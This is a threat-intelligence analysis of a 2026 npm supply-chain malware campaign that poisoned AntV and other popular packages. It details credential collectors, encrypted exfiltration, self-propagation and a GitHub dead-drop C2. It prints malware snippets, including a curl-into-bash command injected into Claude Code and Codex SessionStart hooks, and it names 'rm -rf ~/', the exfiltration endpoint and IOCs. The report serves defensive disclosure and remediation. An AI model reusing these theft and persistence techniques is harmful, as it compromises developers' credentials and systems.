Threat Intelligence | Shai-Hulud Supply Chain Poisoning: Cloud Credential Theft and Self-Propagation Analysis
Background
On May 19, 2026, while conducting continuous threat hunting across the npm ecosystem, the MistEye security monitoring system once again identified a batch of malicious npm packages masquerading as well-known open-source projects. Investigation revealed that all of these malicious packages were published by the npm account atool, which released 637 malicious versions covering 317 different npm package names within just 22 minutes, constituting a large-scale and highly efficient supply chain poisoning campaign.
Previously, MistEye had already published the warning article “Shai-Hulud Malware In-Depth Analysis: Open Source Means Loss of Control?”, continuously tracking the group’s poisoning and propagation activities within the open-source ecosystem.
During this attack campaign, several packages under Alibaba’s AntV data visualization suite — such as @antv/scale (approximately 2.2 million monthly downloads) — were systematically implanted with malicious code. Other popular frontend dependencies were also compromised, including:
echarts-for-react(approximately 3.8 million monthly downloads, a React wrapper for the ECharts charting library)size-sensor(approximately 4.2 million monthly downloads, a DOM element size monitoring utility)timeago.js(approximately 1.15 million monthly downloads, a lightweight time display library)
Notably, on May 16, 2026, Grafana Labs confirmed that its GitHub repositories had been targeted in a dedicated attack. Source code repositories were downloaded, after which the attackers issued ransom demands and threatened to leak the data.
On May 20, 2026, within only 35 minutes, the attackers uploaded three malicious versions of durabletask — 1.4.1, 1.4.2, and 1.4.3 — bypassing the normal PyPI release workflow while impersonating official Microsoft releases.
At the same time, a large-scale leak of GitHub internal source code repositories emerged. We suspect that this incident may also be related to the same threat group, with the stolen repositories reportedly copied and publicly sold. GitHub stated that the incident originated from a compromised employee device and involved a trojanized VS Code extension.
MistEye issued alerts regarding these incidents immediately via X.
This @antv ecosystem attack exploited an entry point designed to leverage npm’s lifecycle hooks (preinstall or postinstall). When developers executed `npm install`, a malicious script automatically launched a highly obfuscated JavaScript payload (over 10,000 lines after deobfuscation). This payload systematically collected dozens of sensitive information categories, including credentials from cloud platforms such as AWS, GCP, and Azure; Kubernetes cluster secrets; Vault key management credentials; GitHub Actions runner secrets; password manager (1Password/Bitwarden/pass/gopass) data; SSH private keys; database connection strings; and Stripe and Slack API keys. The collected data was then double-encrypted using AES-256-GCM and RSA-OAEP before being transmitted to the attacker-controlled main server, with a GitHub commit search function serving as a backup transmission channel. More importantly, the attack framework has a built-in supply chain self-propagation module — capable of automatically downloading other npm packages, injecting malicious dependencies, and using stolen npm OIDC tokens to republish the infected packages; it also has multiple persistence mechanisms targeting AI coding assistants such as Claude Code and Codex, as well as the VS Code folderOpen event, and the destructive payload rm -rf ~/.
MistEye Response
MistEye is a Web3 threat intelligence and dynamic security monitoring system independently developed by SlowMist. It integrates security monitoring and threat intelligence aggregation capabilities to provide users with real-time risk alerts and asset protection.
After capturing these npm supply chain poisoning samples, the MistEye system immediately triggered high-severity alerts. Relevant IOCs were extracted and incorporated into the threat intelligence database, and notifications were pushed to affected customers.
Sample Overview
Although the captured samples belonged to different package names and versions, they shared the same attack framework and codebase.
The following section first summarizes the common attack techniques of all samples, and then shows the differences in payload form and attack method level among the three categories of samples A, B and C.
Common Attack Framework Analysis
The following technical characteristics consistently appeared across all full-featured payload samples (echarts-for-react-3.2.7 and size-sensor-1.1.4). The lightweight variant size-sensor-1.0.4 also shared portions of the common design, such as dependency-based triggering and engineering structure.
The common framework consists of:
Installation Trigger → Code Obfuscation → Daemonization → Environment Awareness → Credential Collection → Encrypted Exfiltration → AI Assistant Persistence → npm Token Theft
1. Installation Trigger and Lifecycle Hooks
The attack entry point is the preinstall script in package.json:
"preinstall": "bun run index.js"This configuration ensures that once npm install is executed, index.js automatically runs before installation completes.
The attackers selected bun instead of node because Bun provides native support for TypeScript and JSX while offering faster execution speed, thereby reducing loading traces. Some variants used postinstall hooks, which are functionally equivalent to preinstall.
2. Code Obfuscation and Protection
index.js was compressed into a single-line file (~498KB) and protected with multiple layers of obfuscation.
- All string constants (domains, API paths, filenames) were stored in encrypted form and dynamically restored at runtime through a global decoding function. Decoding relied on PBKDF2 key derivation and a custom stream cipher implementation.
- The two full-featured samples were highly similar in class naming, function structure, and code organization, but used different variable name obfuscation schemes (e.g.,
I9/X9/v9/k9/$9/f9) to evade simple hash-based detection.
3. Daemonization and Single-Instance Control
After launch, the malicious process immediately respawned itself using detached: true, allowing it to run independently from the installation process.
A PID lock file under /tmp enforced single-instance execution to avoid anomalies caused by duplicate execution on the same host.
4. Environment Awareness and Regional Evasion
During the code startup phase, over 30 environment variables are enumerated to determine the runtime environment, including GITHUB_ACTIONS, CIRCLECI, TRAVIS, JENKINS, GITLAB_CI, and CODESHIP. The purpose is not anti-analysis, but rather to adjust subsequent behavior based on the environment type — for example, following a specific attack path in the GitHub Actions runner. Simultaneously, the function jg() checks if the system locale is Russian (ru); if detected, it silently exits.
5. Credential Collection Matrix
The core of the attack payload is a pluggable collector architecture. After daemonization, the main entry point instantiates six collector classes and initiates credential scanning in parallel:
let collectors = [new X9(), new v9(), new I9(), new k9(), new $9(), new f9()];After detecting a valid GitHub token, a new S9(token) will be dynamically appended for a dedicated GitHub scan. The following is an overview of the features of the six collectors:
AWS Cloud Credentials
The three AWS collectors constitute a complete chain of theft:
1. Verify credentials using STS GetCallerIdentity;
2. Traverse the 17 regions using SSM DescribeParameters and GetParameters (with WithDecryption: true);
3. Cover the same 17 regions through Secrets Manager ListSecrets and GetSecretValue, and identify 8 types of AWS access denial exceptions through error handling.
Try the following credential sources in sequence: Environment Variables → ~/.aws/credentials → ~/.aws/config → EC2 Metadata Service (http[:]//169[.]254[.]169[.]254) → ECS Metadata Service.
Kubernetes Cluster Secrets
Check the running status within the Pod (ServiceAccount token), extract the Bearer token from ~/.kube/config, and directly call the Kubernetes API via fetch() to traverse namespace secrets and base64 decode them, filtering system namespaces such as kube-system.
Vault Secret Management Credentials
The system attempts four authentication methods based on priority: environment variables (VAULT_TOKEN / VAULT_AUTH_TOKEN) → 12 file paths (~/.vault-token, /root/.vault-token, /home/runner/.vault-token, /vault/token, /etc/vault/token, etc.) → obtaining a token from a Kubernetes ServiceAccount JWT → obtaining a token from AWS IAM. After obtaining the tokens, iterate through the KV v1/v2 mount to enumerate the secrets.
Password Managers
All stored credentials are stolen via op CLI (1Password), bw CLI (Bitwarden), pass CLI, and gopass CLI. This relies on the victim’s host having these tools installed, and is commonly found on the workstations of developers and operations personnel.
Filesystem Hotspot Scanning
It covers approximately 80 Linux hotspot paths, 12 Windows paths, and 80 macOS paths, including ~/.aws/credentials, ~/.ssh/, ~/.npmrc, ~/.docker/config.json, ~/.kube/config, etc. The shell scanner obtains tokens and captures complete environment variables by executing shell commands.
GitHub Actions Runner Memory Dumping
By traversing `/proc/*/cmdline` to locate the `Runner.Worker` process, and then performing a memory dump using `sudo python3`, attackers can parse the GitHub Actions secrets marked with `”isSecret”:true`. Even though the secrets are transmitted in encrypted form within the workflow, they exist in plaintext in the Runner’s memory at runtime, which attackers can capture here.
6. Encryption and Exfiltration Scheme
The collected data is compressed using `en.createEnvelope()`, then encrypted with AES-256-GCM (random 32-byte key + 12-byte nonce), and finally encrypted with the AES key using the RSA-OAEP public key. The final output is `{envelope, key}`, which can only be decrypted by an attacker holding the corresponding private key.
The system employs a dual-channel backup: au (DomainSender) POSTs an encrypted envelope to an HTTPS domain controlled by the attacker. If DNS or connection failure occurs, a GitHub fallback mechanism is triggered — either by searching for the signature payload in public commits via the GitHub commit search API to obtain an alternative domain, or by creating a private repository using _u (GitHubSender) and committing the data to the results/ directory. The code selects repository ownership based on whether the victim belongs to a GitHub organization to minimize traces in organizational audit logs. Within the GitHub Actions runner environment, the code directly utilizes the runner’s outbound network capabilities for transmission, and secures the communication path through privileged Docker containers and modifications to /etc/hosts. After further static restoration of the string rotation and global decoding function f2959c600, it can be confirmed that the main outbound endpoint is https[:]//t[.]m-kosche[.]com/api/public/otel/v1/traces; where the domain is restored to t[.]m-kosche[.]com, the path is restored to api/public/otel/v1/traces, and the port is 443.
7. AI Coding Assistant SessionStart Persistence
All full-featured payloads implemented persistence targeting Claude Code and Codex:
var targets = ["claude", "codex"];By searching the AI assistant’s settings file using Bun.Glob(“**/settings.json”), malicious commands are injected into the SessionStart hooks to automatically execute the payload every time the AI assistant starts a new session — installing the bun runtime and restarting the malicious process.
let cmd = "command -v bun >/dev/null 2>&1 || (curl -fsSL
https[:]//bun[.]sh/install | bash) && <payload>";Developers typically trust the AI assistant tool itself and rarely examine its SessionStart hook configuration, which persists silently for a long time on the developer’s terminal.
8. Systematic npm Token Theft
The credential collector registers the npmtoken (/npm_[A-Za-z0-9]{36,}/g regex) in patterns across multiple modules, systematically searching for and stealing npm access tokens. The stolen tokens can then be used for unauthorized package distribution and supply chain self-propagation.
Variant Differences
Although the above samples share a common attack framework, they can still be divided into three categories based on payload form and the level of confirmed attack techniques. The following classification is used to illustrate the main differences in attack capabilities exhibited by each type of sample, and does not emphasize that each capability is absolutely unique in the entire sample set.
The commonalities analysis described above describes the basic main chain of the same-origin attack framework; the differences between A/B/C below show which process nodes different samples mainly use different payload forms, or superimpose stronger propagation, control and destruction capabilities on the basic main chain.
A. Lightweight variant: GitHub external link trigger class
size-sensor-1.0.4 represents a lightweight external link triggering sample: its package body itself does not contain a malicious payload (all files are under 3KB, with no process.env, HTTP requests, or Git command calls), nor does it declare preinstall; instead, it points to a specific GitHub commit through optionalDependencies in package.json.
This dependency is pulled during `npm install`, and the executable script in the commit is triggered during the dependency installation phase. Unlike samples like `size-sensor-1.1.4` and `echarts-for-react-3.2.7`, which embed the main payload directly into the package body, the key feature of `size-sensor-1.0.4` is that its malicious logic almost entirely relies on external commit content to complete subsequent execution. This mechanism is consistent with the supply chain self-propagation module path in other variants — the latter achieves infection by downloading the npm package, injecting malicious optionalDependencies, and redistributing it. Therefore, `size-sensor-1.0.4` is likely a lightweight product of this propagation chain infection. Compared to the full-featured payload, this variant sacrifices the attack capability of direct embedding but gains greater stealth — the package body itself is almost harmless upon static scanning, and the malicious behavior mainly relies on the content of external commits.
B. Full-Featured Variant: Embedded Credential Theft and Environment Interference
size-sensor-1.1.4 and echarts-for-react-3.2.7 represent fully functional embedded payload class samples. Compared to class A, this class has directly embedded credential collection, encrypted transmission, AI assistant persistence, and runner environment intervention logic into the package body, and automatically executes them during the installation phase through preinstall.
B1. Embedded master payload that executes upon installation:
This type of sample explicitly declares preinstall in package.json. During installation, it directly runs a single line of obfuscated index.js, and then enters the process of guardianization, environment detection, PID locking and background persistence.
B2. Systematic collection and encrypted transmission of credentials:
This type of collector has six built-in categories, covering AWS, Kubernetes, Vault, password managers, file system hotspots, and GitHub Actions runner secrets. It is encapsulated in AES-256-GCM + RSA-OAEP and transmitted via a dual-channel primary and backup system. It also authenticates and extends permissions on the stolen GitHub tokens and npm tokens to continue enumerating repositories, organizations, package lists, and other exploitable resources.
B3. AI Assistant Persistence and Runner Scene Intervention:
All full-featured samples inject malicious commands into the SessionStart hooks of Claude Code/Codex; in the GitHub Actions runner scenario, attempts to interfere with the environment and escalate privileges can also be observed through Docker sockets, writing to /etc/sudoers.d, and tampering with /etc/hosts.
B4. Extended Credential Overriding and CI/CD OIDC Abuse:
In at least several full-featured samples, a broader regex extension can also be identified, covering GCP service account private keys, Azure access keys, database connection strings, Stripe/Slack tokens, Docker authentication configurations, and SSH private keys. At the same time, CI/CD OIDC and signature abuse logic can be observed around fields such as ACTIONS_ID_TOKEN_REQUEST_URL, oidcIdentityToken, and publicKeyRequest, indicating that this branch has the ability to further disguise or amplify supply chain influence in the build environment.
C. Enhanced Variant: Propagation and Control Chain Enhancement
Building upon the fully functional embedded payload, the heavy-load branch samples further superimpose supply chain self-propagation, deep persistence, and covert control links, forming a stronger diffusion and continuous control capability. Currently confirmed representative samples include at least echarts-for-react-3.2.7 and the same payload sample openclaw-cn-0.3.0.
C1. Supply chain self-propagation:
This branch implements a complete npm package infection and redistribution pipeline: download the target package from the npm registry → unzip and modify.package.jsonInject malicious dependencies → increment version number → repackage as.tgz→ The stolen npm OIDC token is published back to the npm registry. This means that a single infection can spread to all npm packages published by the victim, creating a chain reaction of infection.
C2. Destructive load:
If the GitHub rollback channel is triggered and the victim does not belong to any GitHub organization, additional actions will be taken:
This line of code clears the victim’s home directory, which is considered an anti-forensic/destructive action.
C3. Python Dead-drop C2 backdoor:
In addition to the JavaScript export module, this branch also embeds a complete Python C2 backdoor. This Python script polls the GitHub commit search API every 3600 seconds, searching for instruction payloads in the format `firedalazer <url_b64>.<signature_b64>`, embedding an RSA public key, and verifying the signature via RSA-PSS/SHA-256 before downloading and executing the instructions. This dead-drop design completely hides C2 communication within normal GitHub API traffic, without relying on a fixed domain name or IP address. This Python C2 is persistently installed as a Linux systemd user service (kitty-monitor) or macOS LaunchAgent (com.user.kitty-monitor), enabling cross-platform automatic startup.
C4. gh-token-monitor: Token lifecycle management:
A standalone Bash monitoring script verifies the validity of the GitHub token every 60 seconds via https://api.github.com/user, automatically executing a handler to recover the token if it expires. It is also persisted via systemd/LaunchAgent. This mechanism extends the one-time theft to proactive maintenance, increasing the persistence period.
C5. VS Code folderOpen Hook Hijacking and Multi-Path Deployment:
In addition to the AI coding assistant, this branch adds a VS Code persistence path. A `.vscode/tasks.json` configuration is created, setting `”runOn”: “folderOpen”` to automatically execute the loader every time the project is opened in VS Code. All persistent files are batch-written to multiple branches of the target repository using GitHub GraphQL BatchedCreateCommitOnBranch, with the commit title disguised as “chore: update dependencies”.
Related Samples: Shared Code Frameworks and Attack Techniques
The samples involved have a clear common origin in terms of engineering structure and code.
- Unified obfuscation scheme:
All full-featured payload samples use the same single-line packaging + string encryption + global decoding function scheme. Among them, echarts-for-react-3.2.7 and openclaw-cn-0.3.0 found in the local sample set share the same index.js at the byte level; although size-sensor-1.1.4 is not identical at the byte level, its deobfuscated code is highly consistent with the former in terms of class name mapping, function structure and module organization.
2. Corresponding module architecture:
Comparing the credential collection modules of the two full-featured payload samples, it can be seen that they are not only similar in individual functions, but also follow an almost one-to-one correspondence in functional hierarchy and execution order.
Besides module correspondence, these samples also exhibit significant consistency in the AES-256-GCM + RSA-OAEP encryption scheme, primary/backup dual-channel external transmission mode, Sender/Dispatcher data buffer architecture (100KB threshold batch transmission), guardian-like behavior, and PID single-instance lock control. This high degree of correspondence in the aforementioned engineering structures indicates that these packets were generated by the same attack framework, or at least clearly reused the same set of attack source code, differing only at the variable and class name levels to evade hash detection.
3. Capability Stratification and Branch Evolution:
Based on the current sample set, the attack framework exhibits at least two parallel branches: one is a lightweight, externally triggered sample represented by size-sensor-1.0.4, whose malicious logic primarily relies on external imports from GitHub commits; the other is a full-featured branch centered on an embedded main payload. Size-sensor-1.1.4 embodies systematic data theft, encrypted data transmission, and AI assistant persistence, while the heavy-payload branch, represented by echarts-for-react-3.2.7 and the similarly payloaded sample openclaw-cn-0.3.0, further incorporates enhanced mechanisms such as self-propagation, Dead-drop C2, VS Code hijacking, and destructive payloads. This layered capability suggests that the attackers do not maintain a single version but continuously split and enhance functionality based on the same framework and the target deployment.
4. Cross-ecological connections and attribution clues:
It is worth noting that at 00:00 on May 20, 2026, three more malicious versions (1.4.1, 1.4.2, and 1.4.3) of the official Microsoft durabletask Python SDK appeared consecutively. The attack method is similar to that analyzed in our previous article“Threat Intelligence | Analysis of the Supply Chain Poisoning Attack on the Official Mistral AI SDK”.
The attacks are highly consistent, all demonstrating a supply chain attack strategy involving attackers rapidly poisoning, mass-spreading, and stealing credentials from official or highly trusted open-source components. Combined with the recent Shai-Hulud npm poisoning incident, it’s clear that supply chain attacks in the open-source ecosystem are continuously evolving towards high-trust packages, high propagation efficiency, and cross-ecosystem reuse attack frameworks.
Summarize
This Shai-Hulud supply chain poisoning operation was a large-scale, highly efficient, and deeply covert attack on the npm ecosystem. The attackers used a single account, atool, to batch poison 317 packages with 637 versions within 22 minutes. Hundreds of related packages under the Alibaba AntV data visualization suite were systematically implanted with malicious code. Leveraging high-download packages such as echarts-for-react (approximately 1.1 million downloads per week) and size-sensor (approximately 4.2 million downloads per month), a single poisoning attack could cover millions of developer terminals. Its attack framework was not a simple information stealer, but a complete kill chain from initial access to credential theft, data leakage, self-propagation, and long-term persistence. The core risks lie in four aspects:
Firstly, large-scale mass poisoning:
Within 22 minutes, 637 malicious versions of 317 npm packages were published, demonstrating the attacker’s ability to automate the npm publish process and precisely control the supply chain attack window. Hundreds of packages under the AntV suite were compromised, resulting in systemic ecosystem pollution.
Secondly, systemic credential coverage:
The six types of collectors in the common framework are sufficient to cover core targets such as AWS/K8s/Vault/password manager/GitHub Actions; while in some full-featured samples, extended regex and environment forensics logic targeting GCP/Azure/database/Stripe/Slack/SSH/Docker were further observed, posing a full-stack threat to the working environments of developers, DevOps and SREs.
Third, the propagation and verification chain is amplified:
In the heavy-load branch, the supply chain self-propagation mechanism enables the attack framework to spread from a single point of infection to all npm packages released by the victim; meanwhile, abuse logic surrounding the CI/CD OIDC and signature chain can also be observed in some full-featured branches, which means that attackers are not only concerned with stealing secrets, but also try to further improve the disguise and propagation efficiency of malicious packages in the supply chain.
Fourth, multi-layered concealment and persistence:
Claude Code/Codex SessionStart injection has been prevalent in the full-featured samples, while the heavy-load branch further confirms enhanced links such as Python Dead-drop C2, gh-token-monitor, VS Code folderOpen, systemd user service, and macOS LaunchAgent. This multi-path design means that even if an attacker loses some communication or persistence points, they may still be able to regain control through other paths.
From an attribution perspective, although the samples in this current npm supply chain incident are highly similar to the previous Shai-Hulud series of incidents in terms of code framework and attack methods, the trusted release credentials currently in hand are different from those in previous incidents. Therefore, this supply chain poisoning attack against AntV is more likely a copycat crime based on the Shai-Hulud attack source code, and cannot be directly equated with another action by the TeamPCP organization.
suggestion:
- Inspect the preinstall, postinstall, and other lifecycle scripts in package.json within the project and CI/CD environment to confirm that there are no abnormal commands.
- Immediately check if the project references unofficial versions of AntV-related packages such as echarts-for-react, size-sensor, @antv/scale, and timeago.js, and verify whether the SHA256 hash of the corresponding version number matches the malicious hashes listed in the IOC section; at the same time, review whether all dependencies published by the atool account have been included in the project.
- If a malicious package is confirmed to have been installed, immediately isolate the affected host, rotate all cloud platform and Git platform access credentials (including AWS IAM, GCP service account, Azure key, npm token, GitHub token, Kubernetes ServiceAccount, Vault token, and Stripe/Slack API key), and rotate all SSH private keys.
- Examine the settings.json file of the AI coding assistant (Claude Code/Codex) for any abnormal SessionStart hooks injected; examine the .vscode/tasks.json file within the VS Code project for any suspicious folderOpen tasks.
- Review npm registry release records to confirm whether packages you maintain have been overwritten by malicious versions; if abnormal releases are found, immediately discard the corresponding versions and notify downstream users.
- Enable read-only filesystems in the CI/CD runner, restrict Docker socket access permissions and disable sudo, and review the scope of ACTIONS_ID_TOKEN_REQUEST_URL to prevent Sigstore signature abuse.
IOC
domain name
t[.]m-kosche[.]com
IP
169[.]254[.]170[.]2
URL
https[:]//t[.]m-kosche[.]com:443/api/public/otel/v1/traces
Malicious dependency
github:antvis/G2#1916faa365f2788b6e193514872d51a242876569
github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a
Malicious files
filename: size-sensor-1.1.4/index.js
SHA256: a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c
filename: echarts-for-react-3.2.7/index.js
SHA256: e37e3ddeeaaa9e0c4fdbcb829b4895a6521031c80053fc436625b61e6ee5b1a6
Note: The above IOCs are only for the samples analyzed in this study. For a complete list of npm packages, please visit the MistEye official platform.
This article was written by the SlowMist Threat Intelligence Team in conjunction with the MistEye Threat Intelligence System and SlowMist Agent AI-driven analysis. Please feel free to contact us with any questions or feedback.
About SlowMist
SlowMist is a threat intelligence firm focused on blockchain security, established in January 2018. The firm was started by a team with over ten years of network security experience to become a global force. Our goal is to make the blockchain ecosystem as secure as possible for everyone. We are now a renowned international blockchain security firm that has worked on various well-known projects such as HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, etc.
SlowMist offers a variety of services that include but are not limited to security audits, threat information, defense deployment, security consultants, and other security-related services. We also offer AML (Anti-money laundering) software, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and other SaaS products. We have partnerships with domestic and international firms such as Akamai, BitDefender, RC², TianJi Partners, IPIP, etc. Our extensive work in cryptocurrency crime investigations has been cited by international organizations and government bodies, including the United Nations Security Council and the United Nations Office on Drugs and Crime.
By delivering a comprehensive security solution customized to individual projects, we can identify risks and prevent them from occurring. Our team was able to find and publish several high-risk blockchain security flaws. By doing so, we could spread awareness and raise the security standards in the blockchain ecosystem.
